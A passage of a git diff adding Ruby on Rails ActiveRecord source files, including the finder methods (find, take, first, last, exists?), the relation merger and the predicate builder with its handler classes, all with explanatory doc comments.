+        def delegate_to_scoped_klass(method)
+          @delegation_mutex.synchronize do
+            return if method_defined?(method)
+
+            if /\A[a-zA-Z_]\w*[!?]?\z/.match?(method)
+              module_eval <<-RUBY, __FILE__, __LINE__ + 1
+                def #{method}(*args, &block)
+                  scoping { @klass.#{method}(*args, &block) }
+                end
+              RUBY
+            else
+              define_method method do |*args, &block|
+                scoping { @klass.public_send(method, *args, &block) }
+              end
+            end
+          end
+        end
+
+        def delegate(method, opts = {})
+          @delegation_mutex.synchronize do
+            return if method_defined?(method)
+            super
+          end
+        end
+      end
+
+      private
+
+        def method_missing(method, *args, &block)
+          if @klass.respond_to?(method)
+            self.class.delegate_to_scoped_klass(method)
+            scoping { @klass.public_send(method, *args, &block) }
+          elsif arel.respond_to?(method)
+            ActiveSupport::Deprecation.warn \
+              "Delegating #{method} to arel is deprecated and will be removed in Rails 6.0."
+            self.class.delegate method, to: :arel
+            arel.public_send(method, *args, &block)
+          else
+            super
+          end
+        end
+    end
+
+    module ClassMethods # :nodoc:
+      def create(klass, *args)
+        relation_class_for(klass).new(klass, *args)
+      end
+
+      private
+
+        def relation_class_for(klass)
+          klass.relation_delegate_class(self)
+        end
+    end
+
+    private
+      def respond_to_missing?(method, _)
+        super || @klass.respond_to?(method) || arel.respond_to?(method)
+      end
+  end
+end
diff --git a/activerecord/lib/active_record/relation/finder_methods.rb b/activerecord/lib/active_record/relation/finder_methods.rb
new file mode 100644
index 0000000000..626c50470e
--- /dev/null
+++ b/activerecord/lib/active_record/relation/finder_methods.rb
@@ -0,0 +1,575 @@
+# frozen_string_literal: true
+
+require "active_support/core_ext/string/filters"
+
+module ActiveRecord
+  module FinderMethods
+    ONE_AS_ONE = "1 AS one"
+
+    # Find by id - This can either be a specific id (1), a list of ids (1, 5, 6), or an array of ids ([5, 6, 10]).
+    # If one or more records can not be found for the requested ids, then RecordNotFound will be raised. If the primary key
+    # is an integer, find by id coerces its arguments using +to_i+.
+    #
+    #   Person.find(1)          # returns the object for ID = 1
+    #   Person.find("1")        # returns the object for ID = 1
+    #   Person.find("31-sarah") # returns the object for ID = 31
+    #   Person.find(1, 2, 6)    # returns an array for objects with IDs in (1, 2, 6)
+    #   Person.find([7, 17])    # returns an array for objects with IDs in (7, 17)
+    #   Person.find([1])        # returns an array for the object with ID = 1
+    #   Person.where("administrator = 1").order("created_on DESC").find(1)
+    #
+    # NOTE: The returned records may not be in the same order as the ids you
+    # provide since database rows are unordered. You will need to provide an explicit QueryMethods#order
+    # option if you want the results to be sorted.
+    #
+    # ==== Find with lock
+    #
+    # Example for find with a lock: Imagine two concurrent transactions:
+    # each will read <tt>person.visits == 2</tt>, add 1 to it, and save, resulting
+    # in two saves of <tt>person.visits = 3</tt>. By locking the row, the second
+    # transaction has to wait until the first is finished; we get the
+    # expected <tt>person.visits == 4</tt>.
+    #
+    #   Person.transaction do
+    #     person = Person.lock(true).find(1)
+    #     person.visits += 1
+    #     person.save!
+    #   end
+    #
+    # ==== Variations of #find
+    #
+    #   Person.where(name: 'Spartacus', rating: 4)
+    #   # returns a chainable list (which can be empty).
+    #
+    #   Person.find_by(name: 'Spartacus', rating: 4)
+    #   # returns the first item or nil.
+    #
+    #   Person.find_or_initialize_by(name: 'Spartacus', rating: 4)
+    #   # returns the first item or returns a new instance (requires you call .save to persist against the database).
+    #
+    #   Person.find_or_create_by(name: 'Spartacus', rating: 4)
+    #   # returns the first item or creates it and returns it.
+    #
+    # ==== Alternatives for #find
+    #
+    #   Person.where(name: 'Spartacus', rating: 4).exists?(conditions = :none)
+    #   # returns a boolean indicating if any record with the given conditions exist.
+    #
+    #   Person.where(name: 'Spartacus', rating: 4).select("field1, field2, field3")
+    #   # returns a chainable list of instances with only the mentioned fields.
+    #
+    #   Person.where(name: 'Spartacus', rating: 4).ids
+    #   # returns an Array of ids.
+    #
+    #   Person.where(name: 'Spartacus', rating: 4).pluck(:field1, :field2)
+    #   # returns an Array of the required fields.
+    def find(*args)
+      return super if block_given?
+      find_with_ids(*args)
+    end
+
+    # Finds the first record matching the specified conditions. There
+    # is no implied ordering so if order matters, you should specify it
+    # yourself.
+    #
+    # If no record is found, returns <tt>nil</tt>.
+    #
+    #   Post.find_by name: 'Spartacus', rating: 4
+    #   Post.find_by "published_at < ?", 2.weeks.ago
+    def find_by(arg, *args)
+      where(arg, *args).take
+    rescue ::RangeError
+      nil
+    end
+
+    # Like #find_by, except that if no record is found, raises
+    # an ActiveRecord::RecordNotFound error.
+    def find_by!(arg, *args)
+      where(arg, *args).take!
+    rescue ::RangeError
+      raise RecordNotFound.new("Couldn't find #{@klass.name} with an out of range value",
+                               @klass.name)
+    end
+
+    # Gives a record (or N records if a parameter is supplied) without any implied
+    # order. The order will depend on the database implementation.
+    # If an order is supplied it will be respected.
+    #
+    #   Person.take # returns an object fetched by SELECT * FROM people LIMIT 1
+    #   Person.take(5) # returns 5 objects fetched by SELECT * FROM people LIMIT 5
+    #   Person.where(["name LIKE '%?'", name]).take
+    def take(limit = nil)
+      limit ? find_take_with_limit(limit) : find_take
+    end
+
+    # Same as #take but raises ActiveRecord::RecordNotFound if no record
+    # is found. Note that #take! accepts no arguments.
+    def take!
+      take || raise_record_not_found_exception!
+    end
+
+    # Find the first record (or first N records if a parameter is supplied).
+    # If no order is defined it will order by primary key.
+    #
+    #   Person.first # returns the first object fetched by SELECT * FROM people ORDER BY people.id LIMIT 1
+    #   Person.where(["user_name = ?", user_name]).first
+    #   Person.where(["user_name = :u", { u: user_name }]).first
+    #   Person.order("created_on DESC").offset(5).first
+    #   Person.first(3) # returns the first three objects fetched by SELECT * FROM people ORDER BY people.id LIMIT 3
+    #
+    def first(limit = nil)
+      if limit
+        find_nth_with_limit(0, limit)
+      else
+        find_nth 0
+      end
+    end
+
+    # Same as #first but raises ActiveRecord::RecordNotFound if no record
+    # is found. Note that #first! accepts no arguments.
+    def first!
+      first || raise_record_not_found_exception!
+    end
+
+    # Find the last record (or last N records if a parameter is supplied).
+    # If no order is defined it will order by primary key.
+    #
+    #   Person.last # returns the last object fetched by SELECT * FROM people
+    #   Person.where(["user_name = ?", user_name]).last
+    #   Person.order("created_on DESC").offset(5).last
+    #   Person.last(3) # returns the last three objects fetched by SELECT * FROM people.
+    #
+    # Take note that in that last case, the results are sorted in ascending order:
+    #
+    #   [#<Person id:2>, #<Person id:3>, #<Person id:4>]
+    #
+    # and not:
+    #
+    #   [#<Person id:4>, #<Person id:3>, #<Person id:2>]
+    def last(limit = nil)
+      return find_last(limit) if loaded? || limit_value
+
+      result = ordered_relation.limit(limit)
+      result = result.reverse_order!
+
+      limit ? result.reverse : result.first
+    end
+
+    # Same as #last but raises ActiveRecord::RecordNotFound if no record
+    # is found. Note that #last! accepts no arguments.
+    def last!
+      last || raise_record_not_found_exception!
+    end
+
+    # Find the second record.
+    # If no order is defined it will order by primary key.
+    #
+    #   Person.second # returns the second object fetched by SELECT * FROM people
+    #   Person.offset(3).second # returns the second object from OFFSET 3 (which is OFFSET 4)
+    #   Person.where(["user_name = :u", { u: user_name }]).second
+    def second
+      find_nth 1
+    end
+
+    # Same as #second but raises ActiveRecord::RecordNotFound if no record
+    # is found.
+    def second!
+      second || raise_record_not_found_exception!
+    end
+
+    # Find the third record.
+    # If no order is defined it will order by primary key.
+    #
+    #   Person.third # returns the third object fetched by SELECT * FROM people
+    #   Person.offset(3).third # returns the third object from OFFSET 3 (which is OFFSET 5)
+    #   Person.where(["user_name = :u", { u: user_name }]).third
+    def third
+      find_nth 2
+    end
+
+    # Same as #third but raises ActiveRecord::RecordNotFound if no record
+    # is found.
+    def third!
+      third || raise_record_not_found_exception!
+    end
+
+    # Find the fourth record.
+    # If no order is defined it will order by primary key.
+    #
+    #   Person.fourth # returns the fourth object fetched by SELECT * FROM people
+    #   Person.offset(3).fourth # returns the fourth object from OFFSET 3 (which is OFFSET 6)
+    #   Person.where(["user_name = :u", { u: user_name }]).fourth
+    def fourth
+      find_nth 3
+    end
+
+    # Same as #fourth but raises ActiveRecord::RecordNotFound if no record
+    # is found.
+    def fourth!
+      fourth || raise_record_not_found_exception!
+    end
+
+    # Find the fifth record.
+    # If no order is defined it will order by primary key.
+    #
+    #   Person.fifth # returns the fifth object fetched by SELECT * FROM people
+    #   Person.offset(3).fifth # returns the fifth object from OFFSET 3 (which is OFFSET 7)
+    #   Person.where(["user_name = :u", { u: user_name }]).fifth
+    def fifth
+      find_nth 4
+    end
+
+    # Same as #fifth but raises ActiveRecord::RecordNotFound if no record
+    # is found.
+    def fifth!
+      fifth || raise_record_not_found_exception!
+    end
+
+    # Find the forty-second record. Also known as accessing "the reddit".
+    # If no order is defined it will order by primary key.
+    #
+    #   Person.forty_two # returns the forty-second object fetched by SELECT * FROM people
+    #   Person.offset(3).forty_two # returns the forty-second object from OFFSET 3 (which is OFFSET 44)
+    #   Person.where(["user_name = :u", { u: user_name }]).forty_two
+    def forty_two
+      find_nth 41
+    end
+
+    # Same as #forty_two but raises ActiveRecord::RecordNotFound if no record
+    # is found.
+    def forty_two!
+      forty_two || raise_record_not_found_exception!
+    end
+
+    # Find the third-to-last record.
+    # If no order is defined it will order by primary key.
+    #
+    #   Person.third_to_last # returns the third-to-last object fetched by SELECT * FROM people
+    #   Person.offset(3).third_to_last # returns the third-to-last object from OFFSET 3
+    #   Person.where(["user_name = :u", { u: user_name }]).third_to_last
+    def third_to_last
+      find_nth_from_last 3
+    end
+
+    # Same as #third_to_last but raises ActiveRecord::RecordNotFound if no record
+    # is found.
+    def third_to_last!
+      third_to_last || raise_record_not_found_exception!
+    end
+
+    # Find the second-to-last record.
+    # If no order is defined it will order by primary key.
+    #
+    #   Person.second_to_last # returns the second-to-last object fetched by SELECT * FROM people
+    #   Person.offset(3).second_to_last # returns the second-to-last object from OFFSET 3
+    #   Person.where(["user_name = :u", { u: user_name }]).second_to_last
+    def second_to_last
+      find_nth_from_last 2
+    end
+
+    # Same as #second_to_last but raises ActiveRecord::RecordNotFound if no record
+    # is found.
+    def second_to_last!
+      second_to_last || raise_record_not_found_exception!
+    end
+
+    # Returns true if a record exists in the table that matches the +id+ or
+    # conditions given, or false otherwise. The argument can take six forms:
+    #
+    # * Integer - Finds the record with this primary key.
+    # * String - Finds the record with a primary key corresponding to this
+    #   string (such as <tt>'5'</tt>).
+    # * Array - Finds the record that matches these +find+-style conditions
+    #   (such as <tt>['name LIKE ?', "%#{query}%"]</tt>).
+    # * Hash - Finds the record that matches these +find+-style conditions
+    #   (such as <tt>{name: 'David'}</tt>).
+    # * +false+ - Returns always +false+.
+    # * No args - Returns +false+ if the table is empty, +true+ otherwise.
+    #
+    # For more information about specifying conditions as a hash or array,
+    # see the Conditions section in the introduction to ActiveRecord::Base.
+    #
+    # Note: You can't pass in a condition as a string (like <tt>name =
+    # 'Jamie'</tt>), since it would be sanitized and then queried against
+    # the primary key column, like <tt>id = 'name = \'Jamie\''</tt>.
+    #
+    #   Person.exists?(5)
+    #   Person.exists?('5')
+    #   Person.exists?(['name LIKE ?', "%#{query}%"])
+    #   Person.exists?(id: [1, 4, 8])
+    #   Person.exists?(name: 'David')
+    #   Person.exists?(false)
+    #   Person.exists?
+    def exists?(conditions = :none)
+      if Base === conditions
+        raise ArgumentError, <<-MSG.squish
+          You are passing an instance of ActiveRecord::Base to `exists?`.
+          Please pass the id of the object by calling `.id`.
+        MSG
+      end
+
+      return false if !conditions || limit_value == 0
+
+      relation = self unless eager_loading?
+      relation ||= apply_join_dependency(self, construct_join_dependency(eager_loading: false))
+
+      return false if ActiveRecord::NullRelation === relation
+
+      relation = construct_relation_for_exists(relation, conditions)
+
+      skip_query_cache_if_necessary { connection.select_value(relation.arel, "#{name} Exists") } ? true : false
+    rescue ::RangeError
+      false
+    end
+
+    # This method is called whenever no records are found with either a single
+    # id or multiple ids and raises an ActiveRecord::RecordNotFound exception.
+    #
+    # The error message is different depending on whether a single id or
+    # multiple ids are provided. If multiple ids are provided, then the number
+    # of results obtained should be provided in the +result_size+ argument and
+    # the expected number of results should be provided in the +expected_size+
+    # argument.
+    def raise_record_not_found_exception!(ids = nil, result_size = nil, expected_size = nil, key = primary_key) # :nodoc:
+      conditions = arel.where_sql(@klass)
+      conditions = " [#{conditions}]" if conditions
+      name = @klass.name
+
+      if ids.nil?
+        error = "Couldn't find #{name}".dup
+        error << " with#{conditions}" if conditions
+        raise RecordNotFound.new(error, name)
+      elsif Array(ids).size == 1
+        error = "Couldn't find #{name} with '#{key}'=#{ids}#{conditions}"
+        raise RecordNotFound.new(error, name, key, ids)
+      else
+        error = "Couldn't find all #{name.pluralize} with '#{key}': ".dup
+        error << "(#{ids.join(", ")})#{conditions} (found #{result_size} results, but was looking for #{expected_size})"
+
+        raise RecordNotFound.new(error, name, primary_key, ids)
+      end
+    end
+
+    private
+
+      def offset_index
+        offset_value || 0
+      end
+
+      def find_with_associations
+        # NOTE: the JoinDependency constructed here needs to know about
+        #       any joins already present in `self`, so pass them in
+        #
+        # failing to do so means that in cases like activerecord/test/cases/associations/inner_join_association_test.rb:136
+        # incorrect SQL is generated. In that case, the join dependency for
+        # SpecialCategorizations is constructed without knowledge of the
+        # preexisting join in joins_values to categorizations (by way of
+        # the `has_many :through` for categories).
+        #
+        join_dependency = construct_join_dependency(joins_values)
+
+        aliases  = join_dependency.aliases
+        relation = select aliases.columns
+        relation = apply_join_dependency(relation, join_dependency)
+
+        if block_given?
+          yield relation
+        else
+          if ActiveRecord::NullRelation === relation
+            []
+          else
+            rows = skip_query_cache_if_necessary { connection.select_all(relation.arel, "SQL") }
+            join_dependency.instantiate(rows, aliases)
+          end
+        end
+      end
+
+      def construct_relation_for_exists(relation, conditions)
+        relation = relation.except(:select, :distinct, :order)._select!(ONE_AS_ONE).limit!(1)
+
+        case conditions
+        when Array, Hash
+          relation.where!(conditions)
+        else
+          relation.where!(primary_key => conditions) unless conditions == :none
+        end
+
+        relation
+      end
+
+      def construct_join_dependency(joins = [], eager_loading: true)
+        including = eager_load_values + includes_values
+        ActiveRecord::Associations::JoinDependency.new(klass, table, including, joins, eager_loading: eager_loading)
+      end
+
+      def construct_relation_for_association_calculations
+        apply_join_dependency(self, construct_join_dependency(joins_values))
+      end
+
+      def apply_join_dependency(relation, join_dependency)
+        relation = relation.except(:includes, :eager_load, :preload).joins!(join_dependency)
+
+        if using_limitable_reflections?(join_dependency.reflections)
+          relation
+        else
+          if relation.limit_value
+            limited_ids = limited_ids_for(relation)
+            limited_ids.empty? ? relation.none! : relation.where!(primary_key => limited_ids)
+          end
+          relation.except(:limit, :offset)
+        end
+      end
+
+      def limited_ids_for(relation)
+        values = @klass.connection.columns_for_distinct(
+          "#{quoted_table_name}.#{quoted_primary_key}", relation.order_values)
+
+        relation = relation.except(:select).select(values).distinct!
+
+        id_rows = skip_query_cache_if_necessary { @klass.connection.select_all(relation.arel, "SQL") }
+        id_rows.map { |row| row[primary_key] }
+      end
+
+      def using_limitable_reflections?(reflections)
+        reflections.none?(&:collection?)
+      end
+
+      def find_with_ids(*ids)
+        raise UnknownPrimaryKey.new(@klass) if primary_key.nil?
+
+        expects_array = ids.first.kind_of?(Array)
+        return ids.first if expects_array && ids.first.empty?
+
+        ids = ids.flatten.compact.uniq
+
+        case ids.size
+        when 0
+          raise RecordNotFound, "Couldn't find #{@klass.name} without an ID"
+        when 1
+          result = find_one(ids.first)
+          expects_array ? [ result ] : result
+        else
+          find_some(ids)
+        end
+      rescue ::RangeError
+        raise RecordNotFound, "Couldn't find #{@klass.name} with an out of range ID"
+      end
+
+      def find_one(id)
+        if ActiveRecord::Base === id
+          raise ArgumentError, <<-MSG.squish
+            You are passing an instance of ActiveRecord::Base to `find`.
+            Please pass the id of the object by calling `.id`.
+          MSG
+        end
+
+        relation = where(primary_key => id)
+        record = relation.take
+
+        raise_record_not_found_exception!(id, 0, 1) unless record
+
+        record
+      end
+
+      def find_some(ids)
+        return find_some_ordered(ids) unless order_values.present?
+
+        result = where(primary_key => ids).to_a
+
+        expected_size =
+          if limit_value && ids.size > limit_value
+            limit_value
+          else
+            ids.size
+          end
+
+        # 11 ids with limit 3, offset 9 should give 2 results.
+        if offset_value && (ids.size - offset_value < expected_size)
+          expected_size = ids.size - offset_value
+        end
+
+        if result.size == expected_size
+          result
+        else
+          raise_record_not_found_exception!(ids, result.size, expected_size)
+        end
+      end
+
+      def find_some_ordered(ids)
+        ids = ids.slice(offset_value || 0, limit_value || ids.size) || []
+
+        result = except(:limit, :offset).where(primary_key => ids).records
+
+        if result.size == ids.size
+          pk_type = @klass.type_for_attribute(primary_key)
+
+          records_by_id = result.index_by(&:id)
+          ids.map { |id| records_by_id.fetch(pk_type.cast(id)) }
+        else
+          raise_record_not_found_exception!(ids, result.size, ids.size)
+        end
+      end
+
+      def find_take
+        if loaded?
+          records.first
+        else
+          @take ||= limit(1).records.first
+        end
+      end
+
+      def find_take_with_limit(limit)
+        if loaded?
+          records.take(limit)
+        else
+          limit(limit).to_a
+        end
+      end
+
+      def find_nth(index)
+        @offsets[offset_index + index] ||= find_nth_with_limit(index, 1).first
+      end
+
+      def find_nth_with_limit(index, limit)
+        if loaded?
+          records[index, limit] || []
+        else
+          relation = ordered_relation
+
+          if limit_value.nil? || index < limit_value
+            relation = relation.offset(offset_index + index) unless index.zero?
+            relation.limit(limit).to_a
+          else
+            []
+          end
+        end
+      end
+
+      def find_nth_from_last(index)
+        if loaded?
+          records[-index]
+        else
+          relation = ordered_relation
+
+          relation.to_a[-index]
+          # TODO: can be made more performant on large result sets by
+          # for instance, last(index)[-index] (which would require
+          # refactoring the last(n) finder method to make test suite pass),
+          # or by using a combination of reverse_order, limit, and offset,
+          # e.g., reverse_order.offset(index-1).first
+        end
+      end
+
+      def find_last(limit)
+        limit ? records.last(limit) : records.last
+      end
+
+      def ordered_relation
+        if order_values.empty? && primary_key
+          order(arel_attribute(primary_key).asc)
+        else
+          self
+        end
+      end
+  end
+end
diff --git a/activerecord/lib/active_record/relation/from_clause.rb b/activerecord/lib/active_record/relation/from_clause.rb
new file mode 100644
index 0000000000..c53a682aee
--- /dev/null
+++ b/activerecord/lib/active_record/relation/from_clause.rb
@@ -0,0 +1,26 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  class Relation
+    class FromClause # :nodoc:
+      attr_reader :value, :name
+
+      def initialize(value, name)
+        @value = value
+        @name = name
+      end
+
+      def merge(other)
+        self
+      end
+
+      def empty?
+        value.nil?
+      end
+
+      def self.empty
+        @empty ||= new(nil, nil)
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/relation/merger.rb b/activerecord/lib/active_record/relation/merger.rb
new file mode 100644
index 0000000000..182f654897
--- /dev/null
+++ b/activerecord/lib/active_record/relation/merger.rb
@@ -0,0 +1,166 @@
+# frozen_string_literal: true
+
+require "active_support/core_ext/hash/keys"
+
+module ActiveRecord
+  class Relation
+    class HashMerger # :nodoc:
+      attr_reader :relation, :hash
+
+      def initialize(relation, hash)
+        hash.assert_valid_keys(*Relation::VALUE_METHODS)
+
+        @relation = relation
+        @hash     = hash
+      end
+
+      def merge #:nodoc:
+        Merger.new(relation, other).merge
+      end
+
+      # Applying values to a relation has some side effects. E.g.
+      # interpolation might take place for where values. So we should
+      # build a relation to merge in rather than directly merging
+      # the values.
+      def other
+        other = Relation.create(relation.klass, relation.table, relation.predicate_builder)
+        hash.each { |k, v|
+          if k == :joins
+            if Hash === v
+              other.joins!(v)
+            else
+              other.joins!(*v)
+            end
+          elsif k == :select
+            other._select!(v)
+          else
+            other.send("#{k}!", v)
+          end
+        }
+        other
+      end
+    end
+
+    class Merger # :nodoc:
+      attr_reader :relation, :values, :other
+
+      def initialize(relation, other)
+        @relation = relation
+        @values   = other.values
+        @other    = other
+      end
+
+      NORMAL_VALUES = Relation::VALUE_METHODS -
+                      Relation::CLAUSE_METHODS -
+                      [:includes, :preload, :joins, :order, :reverse_order, :lock, :create_with, :reordering] # :nodoc:
+
+      def normal_values
+        NORMAL_VALUES
+      end
+
+      def merge
+        normal_values.each do |name|
+          value = values[name]
+          # The unless clause is here mostly for performance reasons (since the `send` call might be moderately
+          # expensive), most of the time the value is going to be `nil` or `.blank?`, the only catch is that
+          # `false.blank?` returns `true`, so there needs to be an extra check so that explicit `false` values
+          # don't fall through the cracks.
+          unless value.nil? || (value.blank? && false != value)
+            if name == :select
+              relation._select!(*value)
+            else
+              relation.send("#{name}!", *value)
+            end
+          end
+        end
+
+        merge_multi_values
+        merge_single_values
+        merge_clauses
+        merge_preloads
+        merge_joins
+
+        relation
+      end
+
+      private
+
+        def merge_preloads
+          return if other.preload_values.empty? && other.includes_values.empty?
+
+          if other.klass == relation.klass
+            relation.preload!(*other.preload_values) unless other.preload_values.empty?
+            relation.includes!(other.includes_values) unless other.includes_values.empty?
+          else
+            reflection = relation.klass.reflect_on_all_associations.find do |r|
+              r.class_name == other.klass.name
+            end || return
+
+            unless other.preload_values.empty?
+              relation.preload! reflection.name => other.preload_values
+            end
+
+            unless other.includes_values.empty?
+              relation.includes! reflection.name => other.includes_values
+            end
+          end
+        end
+
+        def merge_joins
+          return if other.joins_values.blank?
+
+          if other.klass == relation.klass
+            relation.joins!(*other.joins_values)
+          else
+            joins_dependency, rest = other.joins_values.partition do |join|
+              case join
+              when Hash, Symbol, Array
+                true
+              else
+                false
+              end
+            end
+
+            join_dependency = ActiveRecord::Associations::JoinDependency.new(
+              other.klass, other.table, joins_dependency, []
+            )
+
+            relation.joins! rest
+
+            @relation = relation.joins join_dependency
+          end
+        end
+
+        def merge_multi_values
+          if other.reordering_value
+            # override any order specified in the original relation
+            relation.reorder! other.order_values
+          elsif other.order_values
+            # merge in order_values from relation
+            relation.order! other.order_values
+          end
+
+          relation.extend(*other.extending_values) unless other.extending_values.blank?
+        end
+
+        def merge_single_values
+          if relation.from_clause.empty?
+            relation.from_clause = other.from_clause
+          end
+          relation.lock_value ||= other.lock_value
+
+          unless other.create_with_value.blank?
+            relation.create_with_value = (relation.create_with_value || {}).merge(other.create_with_value)
+          end
+        end
+
+        def merge_clauses
+          CLAUSE_METHODS.each do |method|
+            clause = relation.get_value(method)
+            other_clause = other.get_value(method)
+            relation.set_value(method, clause.merge(other_clause))
+          end
+        end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/relation/predicate_builder.rb b/activerecord/lib/active_record/relation/predicate_builder.rb
new file mode 100644
index 0000000000..5c42414072
--- /dev/null
+++ b/activerecord/lib/active_record/relation/predicate_builder.rb
@@ -0,0 +1,133 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  class PredicateBuilder # :nodoc:
+    delegate :resolve_column_aliases, to: :table
+
+    def initialize(table)
+      @table = table
+      @handlers = []
+
+      register_handler(BasicObject, BasicObjectHandler.new(self))
+      register_handler(Base, BaseHandler.new(self))
+      register_handler(Range, RangeHandler.new(self))
+      register_handler(Relation, RelationHandler.new)
+      register_handler(Array, ArrayHandler.new(self))
+    end
+
+    def build_from_hash(attributes)
+      attributes = convert_dot_notation_to_hash(attributes)
+      expand_from_hash(attributes)
+    end
+
+    def self.references(attributes)
+      attributes.map do |key, value|
+        if value.is_a?(Hash)
+          key
+        else
+          key = key.to_s
+          key.split(".".freeze).first if key.include?(".".freeze)
+        end
+      end.compact
+    end
+
+    # Define how a class is converted to Arel nodes when passed to +where+.
+    # The handler can be any object that responds to +call+, and will be used
+    # for any value that +===+ the class given. For example:
+    #
+    #     MyCustomDateRange = Struct.new(:start, :end)
+    #     handler = proc do |column, range|
+    #       Arel::Nodes::Between.new(column,
+    #         Arel::Nodes::And.new([range.start, range.end])
+    #       )
+    #     end
+    #     ActiveRecord::PredicateBuilder.new("users").register_handler(MyCustomDateRange, handler)
+    def register_handler(klass, handler)
+      @handlers.unshift([klass, handler])
+    end
+
+    def build(attribute, value)
+      handler_for(value).call(attribute, value)
+    end
+
+    def build_bind_attribute(column_name, value)
+      attr = Relation::QueryAttribute.new(column_name.to_s, value, table.type(column_name))
+      Arel::Nodes::BindParam.new(attr)
+    end
+
+    protected
+
+      attr_reader :table
+
+      def expand_from_hash(attributes)
+        return ["1=0"] if attributes.empty?
+
+        attributes.flat_map do |key, value|
+          if value.is_a?(Hash) && !table.has_column?(key)
+            associated_predicate_builder(key).expand_from_hash(value)
+          elsif table.associated_with?(key)
+            # Find the foreign key when using queries such as:
+            # Post.where(author: author)
+            #
+            # For polymorphic relationships, find the foreign key and type:
+            # PriceEstimate.where(estimate_of: treasure)
+            associated_table = table.associated_table(key)
+            if associated_table.polymorphic_association?
+              case value.is_a?(Array) ? value.first : value
+              when Base, Relation
+                value = [value] unless value.is_a?(Array)
+                klass = PolymorphicArrayValue
+              end
+            end
+
+            klass ||= AssociationQueryValue
+            queries = klass.new(associated_table, value).queries.map do |query|
+              expand_from_hash(query).reduce(&:and)
+            end
+            queries.reduce(&:or)
+          # FIXME: Deprecate this and provide a public API to force equality
+          elsif (value.is_a?(Range) || value.is_a?(Array)) &&
+            table.type(key.to_s).respond_to?(:subtype)
+            BasicObjectHandler.new(self).call(table.arel_attribute(key), value)
+          else
+            build(table.arel_attribute(key), value)
+          end
+        end
+      end
+
+    private
+
+      def associated_predicate_builder(association_name)
+        self.class.new(table.associated_table(association_name))
+      end
+
+      def convert_dot_notation_to_hash(attributes)
+        dot_notation = attributes.select do |k, v|
+          k.include?(".".freeze) && !v.is_a?(Hash)
+        end
+
+        dot_notation.each_key do |key|
+          table_name, column_name = key.split(".".freeze)
+          value = attributes.delete(key)
+          attributes[table_name] ||= {}
+
+          attributes[table_name] = attributes[table_name].merge(column_name => value)
+        end
+
+        attributes
+      end
+
+      def handler_for(object)
+        @handlers.detect { |klass, _| klass === object }.last
+      end
+  end
+end
+
+require_relative "predicate_builder/array_handler"
+require_relative "predicate_builder/base_handler"
+require_relative "predicate_builder/basic_object_handler"
+require_relative "predicate_builder/range_handler"
+require_relative "predicate_builder/relation_handler"
+
+require_relative "predicate_builder/association_query_value"
+require_relative "predicate_builder/polymorphic_array_value"
diff --git a/activerecord/lib/active_record/relation/predicate_builder/array_handler.rb b/activerecord/lib/active_record/relation/predicate_builder/array_handler.rb
new file mode 100644
index 0000000000..2fd75c8958
--- /dev/null
+++ b/activerecord/lib/active_record/relation/predicate_builder/array_handler.rb
@@ -0,0 +1,48 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  class PredicateBuilder
+    class ArrayHandler # :nodoc:
+      def initialize(predicate_builder)
+        @predicate_builder = predicate_builder
+      end
+
+      def call(attribute, value)
+        return attribute.in([]) if value.empty?
+
+        values = value.map { |x| x.is_a?(Base) ? x.id : x }
+        nils, values = values.partition(&:nil?)
+        ranges, values = values.partition { |v| v.is_a?(Range) }
+
+        values_predicate =
+          case values.length
+          when 0 then NullPredicate
+          when 1 then predicate_builder.build(attribute, values.first)
+          else
+            bind_values = values.map do |v|
+              predicate_builder.build_bind_attribute(attribute.name, v)
+            end
+            attribute.in(bind_values)
+          end
+
+        unless nils.empty?
+          values_predicate = values_predicate.or(predicate_builder.build(attribute, nil))
+        end
+
+        array_predicates = ranges.map { |range| predicate_builder.build(attribute, range) }
+        array_predicates.unshift(values_predicate)
+        array_predicates.inject(&:or)
+      end
+
+      protected
+
+        attr_reader :predicate_builder
+
+        module NullPredicate # :nodoc:
+          def self.or(other)
+            other
+          end
+        end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/relation/predicate_builder/association_query_value.rb b/activerecord/lib/active_record/relation/predicate_builder/association_query_value.rb
new file mode 100644
index 0000000000..e64d9fdf2a
--- /dev/null
+++ b/activerecord/lib/active_record/relation/predicate_builder/association_query_value.rb
@@ -0,0 +1,46 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  class PredicateBuilder
+    class AssociationQueryValue # :nodoc:
+      def initialize(associated_table, value)
+        @associated_table = associated_table
+        @value = value
+      end
+
+      def queries
+        [associated_table.association_foreign_key.to_s => ids]
+      end
+
+      # TODO Change this to private once we've dropped Ruby 2.2 support.
+      # Workaround for Ruby 2.2 "private attribute?" warning.
+      protected
+        attr_reader :associated_table, :value
+
+      private
+        def ids
+          case value
+          when Relation
+            value.select_values.empty? ? value.select(primary_key) : value
+          when Array
+            value.map { |v| convert_to_id(v) }
+          else
+            convert_to_id(value)
+          end
+        end
+
+        def primary_key
+          associated_table.association_primary_key
+        end
+
+        def convert_to_id(value)
+          case value
+          when Base
+            value._read_attribute(primary_key)
+          else
+            value
+          end
+        end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/relation/predicate_builder/base_handler.rb b/activerecord/lib/active_record/relation/predicate_builder/base_handler.rb
new file mode 100644
index 0000000000..112821135f
--- /dev/null
+++ b/activerecord/lib/active_record/relation/predicate_builder/base_handler.rb
@@ -0,0 +1,19 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  class PredicateBuilder
+    class BaseHandler # :nodoc:
+      def initialize(predicate_builder)
+        @predicate_builder = predicate_builder
+      end
+
+      def call(attribute, value)
+        predicate_builder.build(attribute, value.id)
+      end
+
+      protected
+
+        attr_reader :predicate_builder
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/relation/predicate_builder/basic_object_handler.rb b/activerecord/lib/active_record/relation/predicate_builder/basic_object_handler.rb
new file mode 100644
index 0000000000..34db266f05
--- /dev/null
+++ b/activerecord/lib/active_record/relation/predicate_builder/basic_object_handler.rb
@@ -0,0 +1,20 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  class PredicateBuilder
+    class BasicObjectHandler # :nodoc:
+      def initialize(predicate_builder)
+        @predicate_builder = predicate_builder
+      end
+
+      def call(attribute, value)
+        bind = predicate_builder.build_bind_attribute(attribute.name, value)
+        attribute.eq(bind)
+      end
+
+      protected
+
+        attr_reader :predicate_builder
+    end
+  end
+end
